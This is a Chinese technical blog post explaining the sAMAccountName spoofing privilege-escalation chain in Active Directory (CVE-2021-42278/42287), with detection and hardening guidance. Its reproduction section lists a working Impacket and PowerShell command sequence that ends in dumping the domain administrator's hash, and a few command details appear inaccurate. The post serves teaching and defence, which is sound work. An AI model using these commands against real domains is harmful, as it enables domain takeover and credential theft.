☰
CVE-2021-42278与CVE-2021-42287:sAMAccountName混淆提权全解析
2026/10/14 13:18:11 网站建设 项目流程

2021年底,Windows Server Active Directory域环境里爆出的两个漏洞CVE-2021-42278与CVE-2021-42287,在安全圈里引起了不少讨论。两个漏洞单独看都不算特别出格——一个是sAMAccountName处理逻辑上的问题,另一个是Kerberos KDC组件对票据内账户引用校验不严的缺陷——但组合起来,却能让一个普通域用户直接拿到域控制器权限。很多安全研究员把这条链称为sAMAccountName混淆攻击,我这里想从原理、复现、日志检测到防御加固,把整条链路完整复盘一遍。

这篇文章不是翻译漏洞公告,而是基于我在模拟域环境中反复验证后的实战总结。无论你是域环境管理员、蓝队监控人员,还是刚接触Kerberos攻击链的初学者,跟着这篇文章的思路走一遍,基本就能把这两个CVE的前因后果、攻击特征和对应的检测手段吃透。

1. 漏洞全景:两个CVE如何组成一条提权链

1.1 两个CVE各自的定位

CVE-2021-42278是Active Directory域服务中sAMAccountName处理逻辑导致的一个权限提升漏洞。要理解它,先得弄清楚sAMAccountName在AD里是什么角色。简单说,这是Active Directory中账户的登录名,域内唯一,且在Kerberos认证的整个流程中都作为用户主体的名称依据。正常的计算机账户sAMAccountName末尾都有一个美元符号,例如attacker$,用来标识这是一个机器账户。域控制器的机器账户在AD里也一样,比如一台域控主机名是DC01,它的AD计算机账户就是DC01$。

这个漏洞的核心在于:域内拥有创建计算机账户权限的普通用户,可以在创建账户之后,把账户的sAMAccountName改成任意值,包括域控主机名去掉美元符号后的名称。也就是说,一个普通用户可以把一个自己可控的机器账户attacker$重命名为dc01。这样一来,在AD的命名空间里,这个账户和域控DC01$在Kerberos名称解析上发生了混淆。这个操作在补丁之前是完全可以落地的,因为AD并没有严格校验sAMAccountName变更与对象类型之间的绑定性。

CVE-2021-42287则是Kerberos KDC组件中的一个权限提升漏洞。KDC在颁发服务票据时,如果TGT(Ticket Granting Ticket)中引用的账户名称在域内存在但不唯一,或者引用的账户在TGT签发后被删除、重命名,KDC在处理后续的S4U2Self等服务票据请求时,会依据票据里的账户名重新去AD中查找对应对象,并把这个对象的安全标识符SID填入PAC(Privilege Attribute Certificate,特权属性证书)。问题的关键就在于:KDC没有严格校验票据签发时对应的原始SID,而是基于名称重新查询。攻击者可以利用这个逻辑,让KDC以域控制器机器账户的身份签发一张服务票据。

1.2 为什么两个漏洞要组合使用

单独看CVE-2021-42278,攻击者只是把一个机器账户改成了跟域控相近的名字,但这并不能直接产生权限提升。单独看CVE-2021-42287,攻击者又面临一个难题:他没有办法控制一个域控账户的凭据来请求票据。两个漏洞一组合,逻辑就通了。

攻击者先利用CVE-2021-42278,把自己可控的机器账户重命名为域控主机的sAMAccountName,然后用这个机器账户的已知密码去请求TGT。此时KDC签发的TGT主体名称指向了"dc01"。请求完成后,攻击者再把机器账户的sAMAccountName改回原来的attacker$。随后,攻击者拿着这张TGT发起S4U2Self请求,KDC在收到请求后,因为TGT里记录的是dc01这个名称,就去AD里查询该名称对应的对象,结果找到域控账户DC01$,于是KDC就以DC01$的身份生成了服务票据。攻击者拿着这张服务票据去访问域控上的服务,权限等同于域控机器账户,后续无论是DCSync还是横向控制域内其他机器,都有了足够的权限基础。

这里面的核心逻辑,就是利用名称与对象之间的一对多映射关系,让KDC在票据生成过程中产生了身份错配。

2. 攻击原理深度剖析:从Kerberos说起

2.1 Kerberos认证流程中与漏洞相关的关键环节

要把这条攻击链看明白,需要回顾一下Kerberos认证的几个关键环节。

域内用户要访问某个服务,第一步是向KDC的AS服务请求TGT,AS服务验证用户密码后签发TGT。第二步是拿着TGT向TGS服务请求目标服务的服务票据ST,TGS验证TGT签名后,签发ST。第三步是拿着ST访问目标服务。

在整个过程中,TGT内部记录了两个核心要素:用户主体名称(通常是sAMAccountName)和对应的SID。SID好比是身份证号,sAMAccountName好比是姓名。正常情况下,KDC在签发TGT时会把两者绑定写入PAC,后续TGS服务在处理TGT时,信任PAC中的SID与名称的一致性,并依据这个SID来生成ST里的用户身份信息。

攻击链条里提到的S4U2Self,是Kerberos协议扩展中的一个功能,允许服务代表用户向KDC请求一张指向自己的服务票据,常用于受限委派等场景。攻击者利用S4U2Self,可以不用掌握域控账户的密码,就诱使KDC以域控账户名义生成服务票据。

2.2 CVE-2021-42278:sAMAccountName伪造

这个漏洞的本质是AD对sAMAccountName变更的校验不到位。攻击者创建一个机器账户后,可以利用常规的LDAP写操作,把该账户的sAMAccountName修改为域控主机的sAMAccountName去掉"$"后的值。

这里有个容易被忽略的细节:AD里的域控机器账户,比如DC01$,与一个被重命名为dc01的普通机器账户,在AD的sAMAccountName属性空间中是有本质差异的。但在Kerberos的名称解析过程中,用户主体名称是不带"$"的,计算机账户在Kerberos网络呈现中也是不带"$"的名称。也就是说,在Kerberos这一层,dc01和DC01$指向同一个主体。这就为后续的票据混淆提供了基础。

要利用这个漏洞,前提是攻击者的账户具备创建并修改计算机账户的权力。默认配置下,域中的Authenticated Users组允许成员在域内创建至多10个计算机账户,这就是常说的maq(ms-DS-MachineAccountQuota,机器账户配额)。所以一个普通域用户,不需要任何额外权限,就可以完成前置准备。

2.3 CVE-2021-42287:KDC票据处理缺陷

CVE-2021-42287的问题出现在KDC处理TGT时对账户引用的校验环节。正常情况下,KDC签发的TGT中,账户名和SID是一一对应的。但在这个漏洞的影响下,当KDC处理一个TGT时,如果它不关心这个TGT签发时的原始SID是什么,而是根据TGT中的账户名去AD中重新查找对应的对象,就会出现问题。

攻击者在上一步已经把机器账户的sAMAccountName改成了dc01,然后拿这个机器账户的密码去请求TGT。注意,在AS请求阶段,是使用当前机器账户的密钥完成预认证的,KDC验证通过后,根据sAMAccountName=dc01查找到该机器账户,并用它的SID生成TGT。这一步得到的TGT,PAC中的SID还是攻击者可控机器账户的SID,而不是域控的SID,所以此时攻击者并没有获得任何额外权限。

攻击者随后把机器账户名称改回attacker$,这一步看似多余,实际上是整条链中最关键的一步。当攻击者拿着那张TGT向KDC发起S4U2Self请求时,KDC会基于TGT中的账户名dc01去查询AD对象。由于此时AD中已经不存在名为dc01的账户了,KDC在查询过程中并没有直接报错,而是继续沿着名称解析逻辑,找到了与dc01在Kerberos命名空间中等价的域控账户DC01$,并把DC01$的SID作为用户SID写入要颁发的ST中。一张以域控机器账户身份签发的服务票据就这样产生了。

2.4 完整利用链的逻辑推演

把上面几段串起来,攻击链就是六步:

  1. 普通域用户添加一个机器账户attacker$,密码由攻击者指定。
  2. 将attacker$的sAMAccountName修改为dc01,触发CVE-2021-42278。
  3. 使用attacker$的密码向KDC请求TGT,获得主体名称为dc01的TGT。
  4. 将attacker$的sAMAccountName改回attacker$,消除AD中的歧义对象。
  5. 使用步骤3获得的TGT发起S4U2Self服务票据请求,触发CVE-2021-42287,KDC以DC01$身份签发一张服务票据。
  6. 使用这张服务票据访问域控上的任意服务,完成权限提升。

整个过程有一个非常值得关注的特点:攻击者在AD中的操作痕迹非常集中在短时间内完成,而且涉及的账户对象是一个刚刚创建、很快又被修改名称的机器账户。这个特征在后面的日志检测部分会是重点。

3. 实验环境复现:搭建靶场与实操步骤

3.1 环境准备

复现这个攻击链需要一套隔离的实验环境,强烈建议不要在任何生产环境或共享测试环境里操作。靶场的最小组成是三台虚拟机:

  • 域控DC01,Windows Server 2019或Windows Server 2016,未安装2021年11月及之后的安全更新,主机名DC01,域名为demo.lab,IP地址可定为192.168.10.10。
  • 攻击机A,可以使用Kali Linux或Ubuntu,安装Impacket工具套件,Python 3环境;也可以使用一台Windows 10,配合Rubeus使用,看你更习惯哪一套。
  • 一个普通域用户alice,密码设为复杂度合适的测试密码,加入Domain Users组即可,不需要任何特殊权限。

靶场搭建完成后,先用普通用户alice做一次正常的Kerberos认证,确认域控、DNS解析、时钟同步都正常。时钟偏差在Kerberos认证中是个常见的坑,一定要确保所有虚拟机时间偏差在5分钟以内,否则后面的票据请求会直接失败。时间同步方面,我习惯把域控作为NTP源,其他机器全部指向它。

3.2 攻击前置条件确认

动手之前,先把攻击前置条件验证一遍。用alice的身份在攻击机上执行以下操作,确认默认机器账户配额是否为10:

在域内任意一台可写LDAP查询的机器上,用PowerShell或ADSI工具查询ms-DS-MachineAccountQuota:

Get-ADObject -Identity "DC=demo,DC=lab" -Properties ms-DS-MachineAccountQuota

如果输出显示该属性值为10,意味着alice有权限创建机器账户。这是整条攻击链能走通的前提。

实际生产环境中,很多管理员已经把该配额调整为0,这时候攻击者通常会尝试利用其他途径获得一个机器账户,比如利用某些服务账户的委派权限创建机器账户,或者通过已有的一定权限的账户来完成。这里不展开,但思路是相通的:核心在于是否拥有一个可控凭据的机器账户。

3.3 逐步复现完整攻击链

下面是在攻击机上逐步执行的完整命令序列。我以Impacket加PowerShell的组合来说明,如果你用Rubeus,原理一样,只是命令形式不同。

第一步,添加机器账户attacker$:

python3 addcomputer.py demo.lab/alice:'Al1ce@Passw0rd' -method SAMR -dc-ip 192.168.10.10 -computer-name attacker -computer-pass 'Attacker@123'

这一步通过SAMR协议创建机器账户attacker$,密码设置为Attacker@123。命令执行成功后,attacker$账户就出现在AD的Computers容器里。

第二步,将attacker$的sAMAccountName修改为dc01。这一步需要在域内有LDAP写权限,用alice身份登录其中一台域内Windows机器,在PowerShell里执行:

$dn = "LDAP://CN=attacker,CN=Computers,DC=demo,DC=lab" $obj = [ADSI]$dn $obj.Put("sAMAccountName", "dc01") $obj.SetInfo()

执行完可以再用ADSI查询确认sAMAccountName确实变成了dc01。此时AD里就出现了一个sAMAccountName为dc01但对象类型是计算机账户的非正常对象。

第三步,使用attacker$的密码向KDC请求TGT:

python3 getTGT.py demo.lab/attacker:'Attacker@123' -dc-ip 192.168.10.10

执行后会在当前目录生成一个类似attacker.ccache的票据缓存文件。注意这里的用户名是attacker,不带美元符号,因为Kerberos主体名称约定如此。

第四步,将attacker$的sAMAccountName改回attacker$:

$dn = "LDAP://CN=attacker,CN=Computers,DC=demo,DC=lab" $obj = [ADSI]$dn $obj.Put("sAMAccountName", "attacker$") $obj.SetInfo()

第五步,使用这张TGT请求S4U2Self服务票据,目标是域控上的CIFS服务:

python3 getST.py -impersonate alice -spn 'cifs/dc01.demo.lab' -k -no-pass demo.lab/dc01 -dc-ip 192.168.10.10

这里关键点是:使用第三步生成的TGT,主体名称是dc01。命令中的demo.lab/dc01即代表TGT中的用户主体。执行成功后生成的ST,其PAC里包含的SID就是DC01$账户的SID。

第六步,验证票据权限。使用生成的ST转储域内任意用户的哈希,验证是否具备DCSync权限:

python3 secretsdump.py -k -no-pass -just-dc-user administrator demo.lab/alice@dc01.demo.lab

如果前面的步骤全部成功,这条命令可以成功导出域管理员的哈希。这一步输出只是用于验证权限,切勿在未授权环境中执行。

复现过程有一个常见坑需要提醒:getST.py生成的票据默认采用TGT中的加密方式,如果域控开启了AES加密支持,建议全程使用AES256,避免因加密类型不匹配导致服务票据在后续步骤中认证失败。可以在getTGT.py时显式指定-aes256参数,或者在域策略中把"Kerberos允许的加密类型"调整一下,统一使用AES系列。

4. 日志与检测:攻击现场的蛛丝马迹

4.1 需要开启的审计策略

如果攻击者成功走完了这条链,在Windows事件日志里一定会留下痕迹,关键在于你的审计策略是否把这些轨迹记录下来了。

首先,域控上必须开启对账户登录事件和Kerberos服务票据操作的审计。在域控的安全策略里,把以下子类设置为成功和失败均审核:

  • 帐户登录事件中的Kerberos身份验证服务
  • 帐户登录事件中的Kerberos服务票据操作
  • 帐户管理中的计算机帐户管理
  • DS访问中的目录服务访问与目录服务更改

目录服务更改审计尤其重要。很多环境默认不开启对AD对象的详细属性审计,这会导致sAMAccountName变更没有被记录下来。在域控上,用ADSI Edit或组策略打开Default Domain Controllers Policy,勾选"审核目录服务访问"的详细信息子类别,然后把审计对象限定到CN=Computers容器,添加Everyone主体,选择"写入所有属性"权限,这样才能看到哪个账户在什么时间修改了机器账户的sAMAccountName。

4.2 关键事件日志解读

攻击链在事件日志中会留下这样几条典型的记录:

创建机器账户时,安全日志会出现事件ID 4741。这条日志记录了谁创建了计算机账户,创建者的用户名会明确出现在"主题"区域。如果在很短的时间内,域内出现一个由普通用户alice创建的attacker$账户,这本身就是一个需要留意的信号。

修改机器账户属性时,会出现事件ID 4742。这条日志的"属性"区域会列出被修改的属性。正常情况下,机器账户改名的情况少之又少,尤其是管理员手动调整之外的操作。如果在4742日志中看到sAMAccountName被修改,紧接着又有一次4742把名称改回来,两起修改之间的时间间隔只有几十秒,那基本可以判定是异常行为。

Kerberos TGT请求对应事件ID 4768。请求TGT的账户名是dc01,但问题是域内并没有一个正常的用户或计算机对象叫dc01。异常点在于:TGT请求者是一个刚创建的机器账户,而且它请求TGT时的主体名称与AD中当前存在的对象不匹配。要看到这一层,需要把4768日志里的账户名与AD对象状态做关联。

Kerberos服务票据请求对应事件ID 4769。攻击者使用S4U2Self行为会有明显特征:服务名称字段是cifs/dc01.demo.lab,账户名称字段是dc01,但该账户又紧接着以另一张ST访问域控资源。更值得注意的是,4769日志中如果出现"账户名与AD现状不一致"的情况,例如账户名仍为dc01,但AD中已经不存在名为dc01的对象,这就是攻击链已经走到后半段的强信号。

实际排查时,我习惯按时间轴把所有相关日志拉出来排序。一条正常的域内机器账户生命周期是:创建后长期无属性变动、定时更新密码、偶尔有登录行为。而攻击链中,机器账户的创建、改名、TGT请求、再改名、S4U2Self请求,这五个动作往往发生在几分钟内,动作密集且顺序固定,非常容易辨认。

4.3 检测规则与告警配置

针对这条攻击链,可以落地几条实用的检测规则。

我在SIEM平台里写规则时,通常会优先关注时序条件。比如检测"同一机器账户对象在24小时内发生两次属性修改,且修改后的sAMAccountName与域控主机名去掉美元符号后相同"。这个规则可以用AD审计日志直接匹配。

另一条规则针对4769日志:服务票据请求中的服务名称指向域控主机名,请求账户名不以美元符号结尾,且该账户在请求前刚经历过一次sAMAccountName变更。这种三方关联在单纯的Windows日志里可能不好做,但在SIEM里把相关事件ID做成一张时间窗关联表,命中率会很高。

再分享一条我自己用的简单规则,思路来自实际攻击事件的观察:统计指定时间窗内,同一域用户alice是否先后触发了4741创建机器账户、4742修改sAMAccountName、4768 TGT请求这三个事件,且前两个事件间隔小于5分钟。如果命中,立即标记告警。虽然单条规则可能会有一点误报率,但配合后面的排查验证步骤,可以做到很高的检出度。

还有一点值得强调:很多环境没用专门的SIEM,只靠在域控上看事件日志也能防守。建议至少开启系统账户登录事件和目录服务访问的审计,并定期导出域控安全日志保存。因为攻击者完成攻击后可能会清理部分日志,但目录服务更改审计产生的日志并不在常规的日志清理范围内,保留一份独立的日志副本对溯源很重要。

5. 防御加固:从补丁、配置到持续监控

5.1 补丁修复与验证

针对这两个CVE,首要的防御措施是给域控安装2021年11月及之后的安全更新。补丁修复了KDC在TGT处理中对账户引用的校验逻辑,也修补了AD对sAMAccountName变更的部分校验。建议在测试域环境先验证补丁对现有业务的影响,再分批滚动更新到所有域控。

补丁是否生效,可以自己动手验证。方法很简单:在测试域里重现一遍攻击链的前几步,如果在执行到S4U2Self这一步时,KDC返回了KDC_ERR_S_PRINCIPAL_UNKNOWN或者类似错误,说明补丁已经生效,票据生成阶段被拦截。如果没有条件做完整复现,也可以只验证CVE-2021-42278部分:尝试把机器账户sAMAccountName改为域控名称,如果AD拒绝写入或写入后Kerberos解析行为与补丁前不一致,说明该环节已被修复。

5.2 AD配置加固与基线建议

补丁之外,应从配置层面收窄攻击面,这一点往往被管理员忽略。

第一个建议是把ms-DS-MachineAccountQuota调整为0。通过ADSI Edit,找到域名对象,把ms-DS-MachineAccountQuota从默认的10改成0。修改后,普通域用户将无法再自动创建机器账户。注意,这个改动只影响新账户创建,对已有的机器账户不产生作用。

第二个建议是限制域用户对机器账户sAMAccountName的修改权限。默认情况下,机器账户自身和管理员有权改写自己的部分属性。可以用ADAC(Active Directory Administrative Center)打开计算机对象的属性编辑器,检查Everyone或Domain Users组是否对计算机账户有写扩展属性权限。如果发现过宽的写权限,应删除。

第三个建议是启用域控的额外日志策略,把组策略中的审核子类别全部打开,同时把安全日志的大小调大到足够容纳较长周期的事件,避免日志滚动覆盖。

5.3 攻击面收敛与红队验证

配置层面做完后,不要急着收工。我建议在打过补丁的测试域里,用红队视角再完整跑一遍攻击链的所有命令,确认所有环节都被阻断。这个验证动作看起来简单,实际能避免很多"以为堵住了但实际上还有侧路"的情况。

比如,把MAQ改成0之后,攻击者如果通过某个已受信任的机器账户发起同样的操作呢?机器账户自身的sAMAccountName修改权限是否被正确限制?这些点只有通过全流程验证才能确认。

此外,可以周期性导出域内比较敏感的AD对象属性变更日志,比如机器账户的sAMAccountName变更,与SIEM告警规则做比对。这类自查在高权限环境中很实用,成本也不高。

6. 常见问题与实战排查速查表

在实际排查和响应过程中,下面的几个问题是最常被问到的,我把排查思路整理成一个速查表。

场景关键判断点排查与处置建议
怀疑域内出现sAMAccountName混淆攻击短时间内出现4741、两次4742、4768、4769事件序列导出域控安全日志,按时间轴梳理攻击链,定位源账户和发起IP,立即禁用相关机器账户并重置凭据
发现机器账户的sAMAccountName被改成类似dc01LDAP查询显示计算机账户sAMAccountName异常还原名称,检查该账户是否曾请求TGT,如果有,进一步排查是否已经产生后续ST
SIEM告警提示4769服务名称指向域控源账户名与AD现状不匹配立即暂停该账户使用,排查其是否具备管理员权限,结合证书服务器等组件看是否有更深层扩散
MAQ已改为0但担心侧路检查是否存在委派或受信任机器账户可创建机器账户审查域内计算机账户的创建来源日志,对异常机器账户做集中清查

还有一个被经常问到的问题是:补丁装了之后,攻击链是不是就完全失效了?我的判断是,针对原始攻击链确实失效了,因为KDC不再在名称解析混乱时签发相应ST。但攻击者的思路不会消失,类似"名称混淆、票据身份错配"的手法在Kerberos生态里还有其他变体,特别是当你还开着服务账户委派、LDAP签名未启用、证书模板配置不当这些旁路时,攻击者依然可以换一套打法。把补丁、配额、权限收敛和日志监控四件事都落实到位,才能真正把这类攻击的空间压到最小。

7. 我的一些实战体会

这套攻击链在我多次的项目复现中,一直是验证域环境防御深度的标准用例。我自己的体会是:补丁永远是防御的第一道线,但日志和监控才是能在攻击发生时真正发现问题的环节。很多单位在补丁已经到位的情况下,依然会因为审计策略没开全,导致事后无法还原攻击者的完整动作。不要等出了问题再来翻日志,提前把目录服务访问审计和Kerberos服务票据审计打开,这是成本很低但收益极高的动作。

最后分享一个小技巧:如果你想在测试环境里快速判断这条攻击链是否已经被修复,不需要跑完整流程。完成机器账户改名为dc01那一步后,直接用Rubeus的asktgt命令请求TGT,如果KDC返回了账户名不存在的错误,就说明当前AD的命名空间完整性已经加强了。这个方法耗时不到两分钟,可以作为日常验证的一部分。安全建设从来不是装一个补丁就完事,把攻击链上的每一个环节都验证一遍,心里才踏实。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询